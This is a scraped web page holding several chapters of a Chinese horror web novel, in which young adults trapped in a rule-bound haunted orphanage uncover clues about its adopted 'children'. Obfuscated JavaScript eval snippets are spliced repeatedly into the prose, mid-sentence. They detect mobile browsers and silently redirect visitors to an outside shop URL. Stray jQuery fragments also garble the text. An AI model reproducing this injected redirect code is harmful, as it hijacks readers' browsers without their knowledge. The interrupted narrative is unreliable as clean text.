RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13122302|138280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' " 迟青瑜捕捉到女孩眼里闪过的艳羡,她顺着司沉的话继续说:“那我们可以跟你借阅,这样就不会违反规则了吧?” 两人一唱一和,反应过来的女孩把头埋进纸张,嘟嘟囔囔:“果然你们大人都在意规矩。” “什么?”迟青瑜的线索雷达在响动。 “没用的,规矩那么多,你们不可能每一条都打破。” “那些违反规则的孩子,你们难道都可以拯救吗?” 小玲说着,语气中带着不属于她这个年龄的稳重与早熟。 迟青瑜与司沉交换眼神——他们一直寻找的线索出现了。 在规则怪谈中,新人会认为遵守规则就能安全离开,但有经验的人都知道,规则只是自保手段,甚至这种自保手段也并完美;怪谈真正的出口,是门,“场”的门。 门的开关目前没有规律,但一般在“核”有强烈的情绪波动时开启,想要引起“核”的注意,就必须寻找祂的故事。这些故事的线索有的会散落在怪谈中,以纸条或书籍的形式存在;而有的会存在于诡异的口中。 两人心领会神:小玲说的内容,很有可能就是怪谈的故事线索。 迟青瑜眼神流转,司沉看到她露出狡黠的笑容。 此刻的她,比这段时间里的任何时候,都不掩饰自己的锋芒,司沉忽然想到,徐敏闲暇时聊到过,迟青瑜在他们学校,是一个特殊的存在。 据说,她是自己放弃竞赛保送,又高考失利才落榜到A大。 迟青瑜过去发生过什么,他不得而知;但此刻他从她身上能看到曾经的光芒,刺眼又明亮。 “谢谢你告诉我们这些。” 迟青瑜难得心情愉悦地笑了,但只换来小玲阴沉的表情。 女孩轻哼一声:“你都明白了?” “没有全部,但方向找到了。”迟青瑜撑着桌子,附身靠近女孩,“你肯定觉得现在的生活很无聊吧?” 小玲愣怔,双唇抿紧。 迟青瑜继续说着:“与同龄人相比过高的智商,过于早熟的心智,令你无法顺利融入集体生活。看似你不在意其他人,其实是所有人都在孤立你,我说的对吗?所谓天才少女的经历,不过就是这些东西。” “你厌倦孤儿院的规则和生活,认为规则在束缚着你,也在束缚着其他小孩。” “所以你才会用那样的口吻,让我们以拯救者的姿态去‘解救’孩子。” 迟青瑜一字一句,掷地有声。 小玲盯着她,噗嗤一声,忽然又恢复了天真的笑容。 “我厌恶修饰。” 女孩轻声说着:“我讨厌所有的比喻、拟人等修饰手法。” “所以我只会说客观事实。” 迟青瑜直起身子,身后,活动室的电视机蓦然开启。 滋啦滋啦的电流声后,是并不流畅的女生播报—— 【紧急新闻,插播一条紧急消息:】 【当地时间20XX年X月X号,在本市的天使孤儿院内发生一起严重的孩童溺亡事件。】 【据悉,受害者与今日早晨失踪,下落不明,随后在孤儿院外的大海中发现受害者的尸体。】 【根据法医解刨,该尸体与失踪人员信息吻合,死者为溺水身亡,身上存在多处软组织挫伤,经判定检验为生前伤……】 【请各位市民朋友,特别是领养人看管、爱护自己的孩子,以免再次发生意外。】 电视机继续播报着其他新闻,小玲冷笑一声,说: “我说了,我只会说客观事实。” “姐姐,你可以拯救大家吗?” 8. 008 电视机里重复播报着新闻,溺亡的小孩尸体被反复呈现,小玲的话在迟青瑜的脑海中回荡。 迟青瑜咬着嘴唇,在屏幕中辨认着溺亡孩童的尸体。 “这、这是……”林巧雁只看了一眼,便结结巴巴说不出完整的话。 画面中的尸体,正是他们夫妻认养的小孩,一个多小时前还在食堂闹着不想吃鸡蛋,现在却出现在新闻里。 ——你能拯救他们吗? 迟青瑜的内心升腾起一股奇异的感觉,她有种预感,问题的关键似乎就在她触手可及的地方。 此时,活动室的门再一次被推开,一名护工带着孩子走了进来。 “张耀和林巧雁在吗?” 被点名的夫妻二人随之一颤,机械应答:“在、在的。” 那护工单手往身后一扯,带出来个不足半人高的孩子,那孩子跌跌撞撞被推到夫妻俩面前。 “你们的孩子送回来了,我们已经教育好,下次再犯可以再通知我们。” 护工也不管两人什么反应,丢下孩子就走了。 林巧雁死死盯着小孩的脸,后退半步:“不可能……” 这个孩子,跟新闻里溺死的小孩一模一样!如果新闻里溺亡的是他们认领的小孩,那眼前这个又是谁? “妈妈,我回来了。”女孩像是没有感知到林巧雁的恐惧,她自顾自说着,一步步向她认知中的母亲靠近。 “别过来,你别过来,你不是已经死了吗?!”张耀一步向前,将妻子挡在身后,硬生生拦住女孩的步伐,“我不管你是谁,我们不认识你!” 女孩就这么停住了,表情呆滞,没有激烈的反应。 突然,她的面容开始扭曲,五官微妙地移动又回归原位,她瞪着眼睛,带着不解和怨恨看着眼前的两人。 “爸爸妈妈不要我了吗?” 迟青瑜眼皮狂跳:这个诡异好像快要支撑不住人的形态了。 她提醒两人:“不要刺激她!” “明明是她在刺激我们!”张耀目睹如此诡异的情景,再也抑制不住压力和情绪,“她本来就不是正常孩子,凭什么我们要认养她?” 女孩的头颅以接近九十度的角度倾斜着,像是在理解这句话的含义。 蠢货!迟青瑜在心中骂了一句国粹,耐着性子指挥尚且理智林巧雁:“林巧雁,你现在要冷静!去安抚她,不然她会变成怪物的。那是你们认领的孩子,只能你们去安抚!” 徐敏立刻接话:“对,你不要再去想刚刚的新闻了,那是诡异故意放出来搞你们心态的!领养人不能‘遗弃’孩子,你们忘了规则吗?” 一提到规则,林巧雁的思绪回归几分:“对,你说得对。” “喂,你真的要继续干这种事情吗?这里哪哪都不正常,我们为什么一定要遵守这里的规则?!”张耀看林巧雁想要走前上去,赶忙双手拦住她的去路。 “可是,如果不遵守规则的话……” “放他娘的狗屁!我受不了了,你们都被洗脑了!我不信,我不信只能按照祂们的规矩来做!我要去找别的出口。”张耀快速念叨着,不断给自己壮胆,一回头,脚下生风般撞开活动室的门,跌跌撞撞地跑远了。 “哎,等等——”林巧雁阻拦的双手抓了空,低头一看,那女孩还站在原地,睁着漆黑的瞳孔望着她。 她咽了口唾沫:“小希,妈妈、妈妈没有不要你……” 名叫小希的女孩不为所动:“那爸爸不要我了吗?” “没有!”林巧雁小心翼翼走上前,模仿着记忆里母亲的样子安抚女孩,“爸爸最近只是太累了,加上昨晚没睡好,所以心情不好,他很快就会回来的。” 小希的表情依旧没有变化,但也没有问更多的问题。 “噗嗤——” 迟青瑜循声看向身后,小玲一手捂着嘴,笑出声。 她有预感,小玲一定会火上浇油。迟青瑜当机立断,再次搬出《行为守则》上的条例:“在活动室要好好学习,别分心。” 这句话像是一句咒语,小玲立刻收敛起来,低头继续写着复杂的字符。 迟青瑜松了一口气。另一边,林巧雁似乎已经成功安抚小希,小希没有再执着于提问,而是乖乖被领到一旁,林巧雁正在为她挑选故事书陪同阅读。 迟青瑜并不放心小希的情况,她总觉得,女孩的后背看起来有些奇怪。 但距离隔得有点远,她也不好贸然上前打扰对方。 徐敏悄悄靠过来,小声对两人说:“幸好她还没有失去理智。学姐,你刚刚说那小孩会变成怪物,是真的吗?” 真的,因为她曾经遇见过。——迟青瑜只是在心里这么说,口头上又是另一套说辞:“嗯,我大概掌握了一些信息。” “真的?”徐敏难掩惊讶。 司沉半倚在书柜旁,调整姿势,一副洗耳恭听的模样。 “表面上,这里的规则大多是针对孩子的,面对外来者的规则并不多,但这只是表象。”迟青瑜就近找了把椅子坐下,小玲在听,她知道。 “先从基本的情况说起吧。” “根据这段时间孩子出现的变化,被我们认领的孩子,明显比其他孩子更像真人,我认为,所谓的领养过程,是在塑造孩子的人格。换句话说,他们会越来越像领养人。” 司沉瞥了一眼乖乖坐着看书的男孩,不予置评。 “青青确实很像我小时候,喜欢看王子和公主的童话故事……”徐敏回忆起细节,频频点头,但又忍不住汗毛竖起,“但学姐,你说得好吓人啊。” 迟青瑜继续说道:“所以我认为,表面上,这个孤儿院是在评价孩子,但事实上,我认为它是在评价领养人。” “哎,那意思是说,那份五百多条规则的《行为守则》,实际上是我们需要遵守的吗?”徐敏瞪大眼睛,好似明白什么。 “这么说并不准确。”迟青瑜补充道,“那份规则,应该是有一定灵活性的。” 司沉来了兴趣:“里面大多数用语都是强制性的,如何看出有灵活性?” “这一点,是我个人的大胆猜想——那份规则上的条例是否生效,并不取决于规则本身,而在于领养人是否认可。” 其中一个重要的依据是:手册并没有印着孤儿院的公章。 徐敏觉得不可思议:“这种事情真的存在吗?如果那份规则不是强制执行,那它不就没有约束性了吗?你们之前说过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13122303|138280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,怪谈里诡异杀人主要看玩家是否触犯规则,设定这样的规则对诡异没好处啊?” 迟青瑜颔首:“所以,诡异根本没想用这个方式直接杀人。” 司沉听出了言外之意:“间接杀人?” 他停顿两秒,似乎捋清了迟青瑜的逻辑:“如果领养人一味地遵守那份《行为守则》去要求孩子,那就相当于在自己身上套了五百多层枷锁,监督别人不犯错容易,自己遵守反而不简单。” “这时候,如果因为领养人不认可孩子的行为,就会触发《领养人须知》第三条的内容,去通知护工。” 事实上,根据迟青瑜的判断,这一条规则并不是强制性的:“或者,领养人不通知护工,选择自己教育矫正的话——” 或许就不会有小希的情况发生了。 想到新闻里尸体的惨状,徐敏有些后怕:“我其实是没有完全背下来的。可能是因为,我小时候就比较规矩,正好青青也没有触犯规则吧。” 司沉顺着这个思路,发现一个盲点:“但是小希回来了,尽管她的情况很奇怪,可是总给我一种感觉……” 迟青瑜说出她的猜测:“这里的诡异,并不真正想伤害这些孩子。” 种种细节,都体现了这种倾向,而在怪谈里面,“核”的倾向是非常重要的,这意味着,玩家可以通过这些细节寻找核心线索。 一旁的徐敏并没有懂两人之间避而不宣的秘密。 她听得似懂非懂,想要迟青瑜再继续解释,还没开口,啪嗒一声,室内的光线变得昏暗。 “停电了。” 迟青瑜的脑子里立刻浮现出昨晚看过的公告。 监督老师维持起秩序:“不要紧张,我们接下来还有非常重要的新闻要播报,请各位回到位置上认真聆听。” 刚关上不久的电视机再一次打开,这次,主持人的声音更像电子音。 【插播一条紧急新闻……】 【据警方通告,本市出现一失踪人口案,失踪人员张某,年龄32岁,祖籍X省X市人,于今日早晨八点三十分左右失踪。失踪时身穿……】 随着电子音的播报,屏幕上放映出张耀的证件照片。 林巧雁死死盯着屏幕,一动不动。 【欢迎各位市民朋友提供失踪人员相关线索。本台温馨提醒:如有自称失踪人员的不明人士出现,请保持警惕,及时报警,切勿随意相信陌生人。】 “奇怪,不是停电了吗……”徐敏嘟囔着。 怎么办? 迟青瑜的脑子飞快运转,她发现了此时的尴尬境地: 规则冲突了。 停电公告第一条:如果看到正在运行的有线电器或电子设备,请立刻于五分钟内拔掉它的电源;如果超过了五分钟,请立刻找到距离你最近的一本书,假装你在读书,没有注意到它。 活动室规范第四条:当播报新闻时,请活动室内的所有人认真观看。 监督老师的嘴角裂开,以夸张的角度撕扯出诡异的微笑,她双眼瞪大,期待的眼神在迟青瑜身上流转。 迟青瑜的额角冒出冷汗。 那是一种令她熟悉的,被猎手盯上的危机感。 她要怎么做? 9.009 越是这种时候,迟青瑜越能冷静下来。 活动室的电视机悬吊在天花板上,插座距离地面两米多高,再加上规则对当下的活动范围进行限制,切断电源不可行。 那么,就只能选择规则的第二个方法:找到距离你最近的一本书,假装自己在读书,没有注意到它。但是,活动室放新闻的时候,要求所有人认真观看,她要如何做才能避免触犯任何一条规则? 迟青瑜咽了口唾沫。 监督老师踩着高跟鞋,哒哒地来回走动,迟青瑜能感觉到她的目光始终停留在自己身上。 祂在等她犯错,然后将她拆吞入腹。 电视机还在不停地播报着“新闻”。 说一个案例,又上升到什么爱护孤儿院、关爱孩子之类的大道理,迟青瑜听得脑袋发晕,恍惚间,她双腿发软,一头撞上桌角,磕出一道浅浅的血痕。 “嘶——”疼痛瞬间让她清静。 不对。 好端端的,她怎么会头晕? “你……”司沉的声音听得并不真切,好似蒙着一层布,他具体说了什么,迟青瑜没听清。 糟了。 她猛然想起《玩家守则》上的内容,第四条中说,如果遇到头晕等症状,证明玩家遵守了规则,但这类异常的状况,凭什么会是“安全”的呢? 迟青瑜一手摸向额头,用指甲扣着伤口,血液浸入甲缝,铁锈味一下变得更加浓重。 随着伤口的刺痛感而来的,是她更加清晰的思维。 司沉全身的神经都紧绷起来:“你疯了?” 迟青瑜闻声望去,她自嘲道:“不错,至少我能听到你的声音了。” 司沉耸耸鼻子,默默后退半步。 迟青瑜借机环顾四周。林巧雁还坐在原地,口中喃喃复述着电视机里的内容,两眼无神,抱着小希安抚道:“小希别怕,妈妈在这里,一会儿就来电了……” 迟青瑜压低嗓子:“不要看电视机,林巧雁看样子已经被洗脑了,那里面的内容会让我们忘记自己的身份。” 这个分贝,司沉和徐敏勉强能听到。 “那要怎么办?”徐敏着急起来。 迟青瑜灵机一动。 她随手抓起桌面上的一本书,又用几本书摞高,将书本竖直摆放在桌子上,与眼睛和电视机的位置构成三点一线。 这个位置,书本刚好可以将电视屏幕挡住一大半,只要不仔细看,根本不知道她到底在看书还是看电视。 没想到,以前上学时偷懒的法子现在竟然派上用场。 她就这么往位子上一坐,摊开的书本好似为她打开一道屏障,将电视机的声音降低数倍,迟青瑜感觉脑子瞬间清醒,晕沉的不适感烟消云散。 “迟小姐,你在认真看新闻吗?” 耳边传来阴恻恻的声音,迟青瑜面不改色,就当自己是在光明正大地摸鱼:“当然,老师你不知道吧?我从小就能一心多用。” 说完这话,她感觉身旁的诡异气息又重几分。 监督老师磨着后槽牙,眼珠转了一大圈,视线落到迟青瑜的额头上:“你受伤了,跟我来医务室吧。” 迟青瑜这才发现脸颊湿润黏腻,应当是血流了下来。 “弄脏了座位可不好哦,嘻嘻……” 迟青瑜还没顾得上反驳,一张熟悉的纸巾就糊到自己脸上来。 司沉的手指修长,隔着纸巾将她大半张脸笼罩起来,但他只是触及了一瞬,又飞快地抽离,只留下纸巾在她的脸颊上晕染着鲜血。 “没关系,我们会注意的。”他对着监督老师露出社交性的微笑。 "是吗……那你们可要注意了,别被我发现你们坏了规矩。"监督老师瞪了他一眼,踩着高跟鞋愤然走远。 迟青瑜用纸巾捂着伤口,呼出一口气。 “照着她的做。”司沉厉声提醒。两人照猫画虎,很快也在各自的位置上摞好书籍。 但徐敏还是有些纠结:“学姐,我到底是要看书还是……” “不重要。”迟青瑜分析道,“你有没有在看书根本不重要,重要的是书可以隔绝大部分电视机的声音,就算继续观看,我们也不会被洗脑。” 徐敏猛地点头,乖乖照做:摸鱼嘛,谁不会啊! 电视机的声音降低了很多,就算能听到内容,迟青瑜也并没有刚刚的不适感。 头脑清醒了,行动又被限制,迟青瑜只好坐在原位寻找当下的破解之法。 无意间,她将注意力转移到书的内容上。 她随手拿起的书,似乎是青青阅读到一半的童话书,封面写着《莴苣公主》,但是打开后,扉页上的标题确是《银发公主》。 怪谈里不会有毫无理由的情景细节。 迟青瑜细细阅读起来。 故事的内容跟原版童话有些类似,但是大部分都不尽相同。 《银发公主》: 很久很久以前,在一个偏远的王国里,国王和王妃多年来一直没有自己的孩子,这让他们十分苦恼。 一天,邪恶的女巫来到国王面前,声称只要王妃喝下用金花熬成的药汤,就能生下孩子。并且,那孩子生来就有一头金色的头发,聪明伶俐,身强体健,是神赐的礼物。 国王散尽家财,几乎掏空了国库,终于寻来了传说中的金花。王妃喝下药汤之后,果然成功怀孕,并生下一名小公主。 只是这位小公主,并没有金色的头发,而是有着一头银发。 在传说中,银发是恶魔的孩子,国王大怒,斥责女巫欺骗自己,扬言要烧死女巫。 女巫却摇了摇头:“她不是你们的孩子,她是恶魔的女儿;你们的金色孩子本应该降生,却被恶魔阻拦。只有将小公主送走,你们的孩子才会回到你们身边。” 国王和王妃信以为真,连忙委托女巫将银发的公主送走。 然而,这一切都是邪恶女巫的谎言,金发的孩子不过是一个说辞。 原来,传说中的金花蕴含着无限的智慧,但只有心地最单纯善良的孩子才能得到它的力量。 邪恶的女巫想要得到金花的力量,编造了这个谎言,让小公主继承金花的智慧再将她囚禁起来,把魔力据为己有。 为了困住她,女巫将公主锁在高耸入云的塔楼里。每当她需要金花的力量时,便割去公主的一部分头发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13128717|138280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,就这样,小公主一天天长大。 女巫自称是她的妈妈,对她的要求近乎苛刻,但单纯的小公主误认为这是爱的体现,直到她十二岁那天。 故事到这里戛然而止。 很显然,这个故事还有后续,并且,故事的内容与天使孤儿院之间,似乎存在某种关联。 故事里的公主,因为女巫的阴谋和莫须有的“恶魔之子”罪名被驱逐,而后又被女巫囚禁在高塔。 这些细节,似乎都与孤儿院这个收养被遗弃孩童的设施很相似。 那么,故事里的其他细节,会不会有更深层次的含义,亦或者并不是线索,而是诡异的障眼法? 只有这些文字,还不足以让她摸到核心,她还要如何才能得到更多线索? 啪嗒。 光线回归,活动室内变得亮堂。 迟青瑜也从思绪中抽离出来。 随着供电恢复,电视机随之关闭,有那么几秒,活动室陷入默契的寂静。 就像嘈杂的自习室里突然变得安静,任何人都会警惕是否发生了什么,这种刻在学生时代的DNA就算到了现在也就存在。 迟青瑜抬头,对上了十几双眼睛。 视线来自活动室里的人,他们——不,祂们就这么直勾勾地看着她,眼球突起,布满红色的血丝。 那一刻,迟青瑜读懂了祂们的眼神。 饥饿。 “迟小姐……”监督老师阴恻恻的笑声响起,“你受伤了,孩子们都很担心你,跟我去医务室吧?” “糟糕,新闻结束,祂们不用遵守必须观看的规则了。”司沉道出当下情况的危机性,他看向迟青瑜额头上的伤口,太阳穴狂跳。 她的气息本身就有吸引力,更准确的说,应该是她的血肉骨皮,她身体的任何一部分。更糟的是,她受伤了 司沉的胃底涌上一股灼热的酸涩,他死死咬着下唇,警惕着诡异的一举一动。 ——保不准这里的任何一个诡异,会像之前的维修工那样,忍不住下手。 与司沉相反,迟青瑜并不觉得自己纯粹只是猎物:“哈,这么关心我吗?” 司沉转头,映入眼帘的是她半张浸染血渍的脸。 她好似也感受到他的视线,转过来面对着他,双唇微动,做着口型:“别担心,我有办法。” 司沉的太阳穴跳得更疼了。 他的预感在告诉他:这女孩不会有什么好主意。 迟青瑜扶着桌面,站起身,将浸染鲜血的纸巾拍在桌面上,诡异的视线齐刷刷地看向她的手。 她冷冷地说:“过家家玩得差不多了吧?” “我知道你们都想要什么,是我身上的一片肉,一块骨头,一滴血……或者说是想要把我整个人吃掉?” “但是很可惜,跟我们一样,你们也被这里的规则束缚了。” 迟青瑜看到监督老师的眼神里浮现出不甘,那磨牙声更清晰了。 “让我们跳过‘核’的规则,来做一场交易吧。” “我会付出身体的一部分,作为代价——” 她绽放出刺眼的笑容:“我只需要一点线索就够了。” 10.010 迟青瑜这么说,并不是一时兴起。 从进入怪谈开始,自己一直处于被动状态,除了要警惕明面上的危机,还要防范暗地里的偷袭,在诡异的规则里做事,劣势明显。 但诡异也并非毫无束缚。 要不就利用规则让她犯错,要不就铤而走险——这是游戏规则,所有存在都必须遵守。 所以,迟青瑜提出了另一个思路:既然自己的吸引力这么大,为何不把自己当做筹码,换取自己想要的信息? 她环视一圈,等待着诡异们的反应。 迟青瑜:“猎物主动送上门,应该不违反你们的规则吧?” “不,当然不。”监督老师维持着勉强的笑容,“迟小姐有什么需要的东西吗?本院会竭尽所能招待好每一位领养人。” 迟青瑜笑着点头,目光却从监督老师身上转移到底下的孩子脸上。 祂们大多保持着呆滞的神情,对迟青瑜的话没有任何情绪反应,但他们面部下怪异蠕动的肌肉,恰恰表露了祂们的急切。 比起高阶诡异,与低阶的诡异交易或许更容易些。 “我刚刚读了一本书,是一本叫《银发公主》的童话,很有意思,但可惜缺少故事的后续。”迟青瑜将手中的书高高举起,她注意到,青青的眼神有些异样。 “我想知道这本书的后续,如果有人知道的话……我会给予她相应的奖励。” 一只小手颤颤巍巍地举起来。 是青青。 “我看到过那本书。” 徐敏惊讶地捂住口,她的视线在迟青瑜与青青之间来回移动,好似在努力理解当下的情景,她压下嗓子:“学姐,你在说什么?什么书值得你冒这么大的风险?” “别担心,我自有分寸。” 迟青瑜绕过徐敏,走到青青的位置前,笑着问她:“你知道这本书的后续在哪?” 女孩点点头,眼珠子一转,反问道:“姐姐,我有什么奖励吗?” 迟青瑜放下童话书,女孩的视线立刻被书本吸引,她轻笑:“看来你跟你的领养人学到了不少东西。” 徐敏沉默:小时候太机灵也不好啊。 “青青,你知道交易的关键是什么吗?” 青青歪头思索,最终还是摇头。 “我们各自拿出价值相等的东西进行交换——只要你想要这个东西,认为值得用你的东西去交换,并且我也认可,那我们就能进行交易。” 青青猛地点头:“我记住了,姐姐。” “很好。” 看来就算诡异模仿了领养人的特性,但终归还是受到年龄设定的限制,青青的认知还停留在五六岁左右。 迟青瑜一不做二不休,开始忽悠起“小朋友”:“青青,你想要这本书吗?” 封面写着《莴苣公主》的童话书静静放在她面前。 女孩有些迟疑:“但这本书是孤儿院的……” “但你们可以借书,最多可以借阅二十四小时。”司沉插话道:“我已经跟监督老师确认过这件事了。” 迟青瑜笑得人畜无害:“二十四小时就够了。” 青青盯着封面,好像要看穿这本书一样,她咽咽唾沫,看向迟青瑜的眼神里有无限的憧憬:“姐姐,我知道你想要的那本书在哪……我前几天看到有一个人偷偷看那本书,但是因为他是男孩不能看童话书,所以被王护工没收了。” 迟青瑜了然,轻轻将童话书推到女孩面前。 女孩立刻将书本抱进怀里,警惕着四周贪婪的目光。 这时,监督老师突然开口:“你们想去找王护工吗?她没收的东西都锁在办公室的柜子里,不过我可以帮你们,我只要……” 她盯着迟青瑜的眼睛,笑得渗人。 “谢谢你。”迟青瑜礼貌地道谢,但语气毫无起伏,“但不用了。” 监督老师的笑容一下垮了。 “我们知道怎么做。” ------------------------------------------------------ 上午的学习时间过后,基本只剩下自由活动的时间。 眼下,张耀不知所踪,林巧雁浑浑噩噩的,似乎已经完全把自己当成了孩子的监护人,跟在小希身旁忙前忙后的,迟青瑜三人尝试过跟她对话,但效果不佳。 午餐时间,迟青瑜依旧把三个孩子打发到一旁,理由是大人说话小孩子不许参与。 于是,迟青瑜、司沉和徐敏三人猫在角落里,一边享用午饭一边分析现状。 “学姐,你是怎么做到的!那本书对青青有这么大的吸引力吗?她连吃饭都要抱着,都不给我碰一下。” 司沉瞥了一眼迟青瑜,叹气道:“书当然没有这么大的吸引力。” 他知道那本书里面有什么的东西,他闻到了:“书里面夹着那张纸巾吧?上面沾满了你的血,对诡异的吸引力肯定不小。” 迟青瑜莫名觉得空气里有股酸味。 “什么,什么?”徐敏左看看右看看,“你俩有什么东西瞒着我吗?” “没有。”两人异口同声。 徐敏不乐意了:“学姐,你这样不对啊。我们明明才是同校同专业的同学,现在还共患难了,有什么事情非要瞒着我啊?” 迟青瑜默默吞下一口饭菜。徐敏这个学妹哪里都好,就是有时候,社牛得有些故意了。 比如这句话,她不跟别的小女生似的扭捏作态,反而用撒娇的语气坦坦荡荡地说出来,倒是显得迟青瑜做得不对了。 “其实也没有什么事情,我也不知道具体发生了什么,你只需要知道,我现在特别招鬼惦记就够了。” 她简短地进行概括,徐敏也很识趣地没有追问,并且很适宜地露出坦诚的笑容。 迟青瑜:情商高的人真可怕。 “没关系的,我相信学姐这么厉害,一定能找到出去的方法。有什么我能帮得上忙的吗?”徐敏眨巴着眼睛,兴奋地问。 迟青瑜一愣:“你别说,还真有……” 虽然两人认识时间不长,但得益于徐敏是个话痨,迟青瑜半天内就把她的底细查得干干净净。比如说,她经常因为忘带钥匙被锁在门外,久而久之,她自学了一门开锁的独家手艺。 这件事还是她介绍自己的特长时爆出来的。除此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13165106|138280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之外,还有很多非常邪门的“特长”——这让迟青瑜对“特长”两个字的认知有了新的定义。 “我们要的书在王姐的办公室,被锁在一个柜子里。”迟青瑜回想起学生时代的经历,“如果我猜的没有,这里的柜子不是书桌抽屉就是文件档案柜,还是统一置办的那种。” “并且,考虑到整个孤儿院都散发着一股发霉的老旧气息,我推断这个锁应该不是什么难搞的货色。” 根据迟青瑜的观察,天使孤儿院不仅仅是外观上的老旧,连基本设施也像是上世纪九十年代的风格,先进的电子设备一概没有。 “啊,我家小时候用的就是普通的机械锁,锁芯还是很好开的!”徐敏自信满满,“对了,开锁的工具我也得准备一下,我想想,杂物室之类的地方或许……” 徐敏又开启了话匣子,滔滔不绝地讲着自己的计划,说完还要征求意见:“你们觉得怎么样?” 司沉点头表示认可:“我下午可以找借口拖住王姐,你们去调查吧。” 三人一拍即合,徐敏吃完饭提前去准备工具,司沉看向她离去的背影,突兀地问:“你的这个学妹人真这么单纯?她看起来一点也不紧张,匪夷所思。” 迟青瑜:“……谁知道呢。” 但她也理解司沉的顾虑。昨晚,徐敏表现得还像一个略有惊吓的普通人,今天恐惧似乎一扫而空,胆子也变大起来。 她摇摇头:“我知道你在怀疑她。但我跟她不熟,你知道吗?人在特殊情况下或许会被激发出平时不同的一面,所以……”迟青瑜顿了顿。 司沉知道她想说什么:“我知道,你说过,你不会毫无理由地去怀疑别人。” 迟青瑜神色严肃:“是的,所以我们需要一些契机,让她证明自己。” ------------------------------------------------------ 下午,天使孤儿院的自习教室。 “你小子,又干什么事了?” 王姐一推眼镜,用审视的目光打量着眼前的男孩,他的身侧站着他名义上的领养人。 司沉面带难色:“事情是这样的。我从活动室借了一本书给他看,想锻炼一下他的思维能力。王姐,你也知道,男孩子嘛,不能整天在外面爬树逗鸟,长大了没出息!” 如果迟青瑜在现场,肯定会为他的演技感到尴尬。 想到这里,他清清嗓子:“但是,他不仅不愿意读,还把书给撕了。你看这种情况,一般怎么处置才好?” 面对王姐的眼神,男孩瑟缩在一旁,看向司沉,敢怒不敢言。 ——明明就不是他撕的书!但是,但是那个人说如果配合他,晚上可以跟姐姐一起吃饭…… 男孩咬咬牙,一脸视死如归的表情。 “是这样啊。这种情况,我们护工会帮您教育孩子的。”王姐说着就要伸手去抓男孩,却被司沉一手拦下。 “等等。” 他摆出社会人的架子:“我一直很好奇,你们是怎么教育孩子的,正好,我作为领养人也想了解和学习一下贵院的方法。能让我旁观一下吗?” 11.011 就在司沉这边拖住诡异的时候。 另一边,三楼的教职员工办公室。 王姐的办公室门没锁,迟青瑜一扭把手就打开了门,此时徐敏却叫住了她:“学姐,我们这么进去真的没问题吗?” 迟青瑜收回迈开一半的脚:“规则上有说我们不能进来吗?” 徐敏想了想:“额,好像没有。” “那就先不管,要真的在里面找到了别的什么规则,再随机应变。”说着,迟青瑜推开门。 颇有年代感的木门发出吱呀声,办公室的格局与之前并无太大变化,只是内里的陈设几乎都换了,现代简洁的办公室风装修也被上世纪的猪肝红家具替代。 迟青瑜一眼就看到了墙边成排的资料档案柜。 但徐敏却先走向了王姐的办公桌,她从背包里拿出工具,准备先从办公桌的抽屉开始下手。 借此机会,迟青瑜将目光所及之处几乎翻了个遍。 好消息是,并没有找到疑似规则的文件;坏消息是,没有更多的线索。 她有些泄气,只能寄希望于徐敏那边。 “开了开了!”徐敏压抑着兴奋劲儿,招手示意迟青瑜过来。 两人从抽屉里翻出一沓厚厚的资料。 迟青瑜很快就总结出它们的内容:“这些是孤儿院每个孩子的日常情况记录,你看这几份,比较特殊。” 她挑出其中四份摊开来,这四份记录的名字分别属于他们几人认领的孩子。 “看起来她每天从员工处获得这些孩子的成长信息,并且记录在册。” 徐敏不愧也是A大的学生,她很快发现了几个共同点:“这些孩子,一开始的信息几乎都是空白的,只有基本的年龄身高体重的信息。你看,像是性格、爱好特长、还有平时表现……都是昨天才有的。” 也就是他们认领孩子的时间。 徐敏看着青青的档案:“天啊,她的爱好特长跟我小时候一模一样,不可能有这么巧的事情,我的特长可多了!” 迟青瑜不予置评:“我猜对了:这些‘孩子’会越来越像领养人。” 两人对视一眼,不由得感到一丝不寒而栗。 “那……他们会不会最后变成跟我们一模一样的人啊?好可怕……”徐敏皱着眉,将手中资料扔回抽屉。 “或许吧。” 迟青瑜神情一暗,看向属于小玲的资料。 只有她的不一样。 其他孩子的信息都是从被领养的那一刻起变多的,但小玲的信息,从一开始就很丰富。 她被孤儿院收录时只有七岁。 名字:小玲 性别:女(7) 